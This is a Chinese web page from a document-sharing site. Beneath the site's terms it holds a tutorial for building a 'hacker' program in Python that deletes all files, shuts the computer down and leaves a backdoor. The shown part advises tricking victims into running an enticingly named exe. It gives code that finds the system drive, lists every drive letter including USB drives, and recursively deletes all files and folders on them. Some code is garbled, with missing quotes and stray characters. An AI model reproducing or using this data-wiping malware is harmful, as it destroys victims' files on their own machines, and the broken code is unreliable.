- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
使用Python一键删除全盘文件自动关机并留后门
今日我们要做的案例是怎样利用Python做一个hacker软件。
众所周知,一般的Hacker对于黑操作系统一般常用手法莫过于发送木马客户端,修改系统注册表。
组策略,获得开机启动权限,入侵电脑然后对电脑的文件进行修改来达到不行告人的目的。
今日我们要讲的就是最基础的,怎样获得开机启动,先给大家讲最基础添加文件到系统启动项的文件夹中,当然愈加高端点也可以使用注册表添加,这里不在累述。好了,下面开头正题。。。。。。
/2 实现步骤/
首先我们通过社会工程学进行一个分析,预备一个足够吸引人的exe文件名称好让人第一眼看到就想点击它的愿望;等到别人点击了之后了这个程序是没有任何响应的,那么有的人或许会多点几下程序,当然这也对程序没有任何影响。下面我们来看一下:
首先我们得猎取系统盘盘符,这个我们可以使用os模块通过对环境变量的字典键值来得到当前系统盘盘符。 ? ?
import os
print(os.getenv(SystemDrive))
得到盘符后我们先可以将他的名目下的文件和文件夹打印出来 ? ?
aa=os.getenv(SystemDrive)
os.chdir(aa+\\\\) \#修改当前名目
os.system(tree\\1.txt) 打印树形名目并将其结果保存到1.txt文件中
然后我们只需要删除盘符下的文件夹和文件即可
所以我们需要用到 os 的walk遍历当前盘符下的全部文件,然后使用remove方法和rmdir方法,一个是删除文件另一个是删除名目
好了。我们开头吧,由于没有虚拟机于是本人创建一个名目放了若干文件夹和文件,效果都一样
path = rC:\\Users\\Administrator\\Desktop\\sa
os.walk() 方法用于通过在名目树中游走输出在名目中的文件名,向上或者向下。
os.walk()方法是一个简约易用的文件、名目遍历器,可以挂念我们高效的处理文件、名目方面的事情。
语法:
os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])
参数:
top -- 根名目下的每一个文件夹(包含它本人), 产生3-元组 (dirpath, dirnames,filenames) 【文件夹路径, 文件夹名字, 文件名】。
topdown --可选,为True或者没有指定,一个名目的的3-元组将比它的任何子文件夹的3-元组先产生 (名目自上而下)。
假如topdown为 False, 一个名目的3-元组将比它的任何子文件夹的3-元组后产生(名目自下而上)。
onerror -- 可选,是一个函数; 它调用时有一个参数,一个OSError实例。报告这错误后,连续walk,
或者抛出exception终止walk。 ? ?
for?root,dirs,files?in?os.walk(path,topdown=False):
\#遍历名目
for?name?in?files:
os.remove(os.path.join(root, name))
????for?name?in?dirs:
os.rmdir(os.path.join(root, name))
其实还有一种方法,就是shutil.rmtree(path),但是它会删除名目本身及全部子文件夹和文件,也就是说他会删除sa这个名目,所以不推举这种搞法,由于我们要删除的是盘符下的文件夹或者文件,这样做很简约导致未知的错误
得到了系统盘符之后,我们还想得到系统其它盘符那该怎样办了,不焦急,我们可以试试下面这种方法。
import?os
import string
def?get_pan():
disk_list=[]?\#磁盘盘符列表
for?p?in?string.ascii_uppercase:?\#遍历全部大写字母
disk=p+:
if?os.path.isdir(disk):?\#看磁盘盘符名用了哪些大写字母开头
????????disk_list.append(disk)?\#添加到盘符列表
return?disk_list
print(get_pan()) #打印盘符
结果很完善,跟我料想的一模一样,连u盘盘符也打印出来了~
光打印一个磁盘名目文件好像显得有点美中不足,于是我打算吧全部磁盘名目文件都整出来,老样子,还是树形结构。
这样每个盘的名目结构就都保存在对应盘的2.txt文件中了。
然后我们将会把这些盘符下的名目文件全部删除,当然遍历删除啦,为了模仿真实场景我打算用几个带有多层文件和名目的文件夹
文档评论(0)